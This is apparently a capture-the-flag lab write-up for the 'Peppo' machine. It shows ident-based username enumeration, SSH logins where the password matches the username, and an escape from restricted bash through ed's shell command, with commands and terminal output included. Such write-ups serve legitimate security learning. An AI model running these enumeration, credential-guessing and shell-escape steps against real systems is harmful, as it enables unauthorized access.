ident 113 [initial access]

113/tcp   open  ident             FreeBSD identd
|_auth-owners: nobody

Add this to your Tool Sheet.

We can see that there is indent service running.

ident is a service that uses the Ident protocol to identify a user on a TCP connection. The Ident protocol is a standardized way for systems to exchange identity credentials over a network connection.

I found one tool related to this.

ident-user-enumpentestmonkey

Now, I will use this tool to do the enumeration.

Install the package in kali linux using below command.

sudo apt install ident-user-enum -y

Running the command:

┌──(kali㉿kali)-[~/pg/Peppo]
└─$ ident-user-enum $peppo 113
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.114.60:113      nobody

┌──(kali㉿kali)-[~/pg/Peppo]
└─$ ident-user-enum $peppo 10000
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.114.60:10000    eleanor

┌──(kali㉿kali)-[~/pg/Peppo]
└─$ ident-user-enum $peppo 8080
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.114.60:8080     <unknown>

┌──(kali㉿kali)-[~/pg/Peppo]
└─$ ident-user-enum $peppo 22
ident-user-enum v1.0 ( http://pentestmonkey.net/tools/ident-user-enum )

192.168.114.60:22       root

I can see there is two user name revealed.

eleanor
root

I can see that there is SSH port open.

It's check if I use Matching username and password for ssh login.

netexec ssh $peppo -u eleanor -p eleanor
netexec ssh $peppo -u root -p root

SSH for eleanor user gave Shell access but unable to run many command.

ssh eleanor@$peppo # Password: eleanor

Fixing Command issue.

-bash id: command not foundwww.linuxquestions.org

Pseudo-terminal will not be allocated because stdin is not a terminalStack Overflow

Tried both but didn't work.

I looks like we are in a restricted bash shell.

How to BREAKOUT of rbash (Restricted Bash)Medium

Helpful guide.

Many of the ways mentioned inthe above link didn't work as we don't have permission to run that command.

Checked which command is allowed to run here in rbash.

help

eleanor@peppo:~$ help
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
These shell commands are defined internally.  Type `help' to see this list.
Type `help name' to find out more about the function `name'.
Use `info bash' to find out more about the shell in general.
Use `man -k' or `info' to find out more about commands not in this list.

A star (*) next to a name means that the command is disabled.

 job_spec [&]                                                       history [-c] [-d offset] [n] or history -anrw [filename] or his>
 (( expression ))                                                   if COMMANDS; then COMMANDS; [ elif COMMANDS; then COMMANDS; ]..>
 . filename [arguments]                                             jobs [-lnprs] [jobspec ...] or jobs -x command [args]
 :                                                                  kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... or k>
 [ arg... ]                                                         let arg [arg ...]
 [[ expression ]]                                                   local [option] name[=value] ...
 alias [-p] [name[=value] ... ]                                     logout [n]
 bg [job_spec ...]                                                  mapfile [-d delim] [-n count] [-O origin] [-s count] [-t] [-u f>
 bind [-lpsvPSVX] [-m keymap] [-f filename] [-q name] [-u name] [>  popd [-n] [+N | -N]
 break [n]                                                          printf [-v var] format [arguments]
 builtin [shell-builtin [arg ...]]                                  pushd [-n] [+N | -N | dir]
 caller [expr]                                                      pwd [-LP]
 case WORD in [PATTERN [| PATTERN]...) COMMANDS ;;]... esac         read [-ers] [-a array] [-d delim] [-i text] [-n nchars] [-N nch>
 cd [-L|[-P [-e]] [-@]] [dir]                                       readarray [-n count] [-O origin] [-s count] [-t] [-u fd] [-C ca>
 command [-pVv] command [arg ...]                                   readonly [-aAf] [name[=value] ...] or readonly -p
 compgen [-abcdefgjksuv] [-o option] [-A action] [-G globpat] [-W>  return [n]
 complete [-abcdefgjksuv] [-pr] [-DE] [-o option] [-A action] [-G>  select NAME [in WORDS ... ;] do COMMANDS; done
 compopt [-o|+o option] [-DE] [name ...]                            set [-abefhkmnptuvxBCHP] [-o option-name] [--] [arg ...]
 continue [n]                                                       shift [n]
 coproc [NAME] command [redirections]                               shopt [-pqsu] [-o] [optname ...]
 declare [-aAfFgilnrtux] [-p] [name[=value] ...]                    source filename [arguments]
 dirs [-clpv] [+N] [-N]                                             suspend [-f]
 disown [-h] [-ar] [jobspec ... | pid ...]                          test [expr]
 echo [-neE] [arg ...]                                              time [-p] pipeline
 enable [-a] [-dnps] [-f filename] [name ...]                       times
 eval [arg ...]                                                     trap [-lp] [[arg] signal_spec ...]
 exec [-cl] [-a name] [command [arguments ...]] [redirection ...>   true
 exit [n]                                                           type [-afptP] name [name ...]
 export [-fn] [name[=value] ...] or export -p                       typeset [-aAfFgilnrtux] [-p] name[=value] ...
 false                                                              ulimit [-SHabcdefiklmnpqrstuvxPT] [limit]
 fc [-e ename] [-lnr] [first] [last] or fc -s [pat=rep] [command>   umask [-p] [-S] [mode]
 fg [job_spec]                                                      unalias [-a] name [name ...]
 for NAME [in WORDS ... ] ; do COMMANDS; done                       unset [-f] [-v] [-n] [name ...]
 for (( exp1; exp2; exp3 )); do COMMANDS; done                      until COMMANDS; do COMMANDS; done
 function name { COMMANDS ; } or name () { COMMANDS ; }             variables - Names and meanings of some shell variables
 getopts optstring name [arg]                                       wait [-n] [id ...]
 hash [-lr] [-p pathname] [-dt] [name ...]                          while COMMANDS; do COMMANDS; done
 help [-dms] [pattern ...]                                          { COMMANDS ; }

How to BREAKOUT of rbash (Restricted Bash)Medium

Working method

echo $PATH
pwd

I will check the path variable and also current working directory.

It looks like we are allowed to run allow below command:

chmod
chown
ed
ls
mv
ping
sleep
touch

On searching for each binary, I found that ed is text editory similar to vi in the help manual, I already have way to escape using vi so, I will search for ed.

ed | GTFOBinsgtfobins.github.io

Got the way:

ed
!/bin/bash

Now try runing command.

After running whoami the command, You can see that there is no rbash error. It is related to bash. This means we bypassed the rbash. ☺️

I will set path variable to access the binary.

export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

This worked.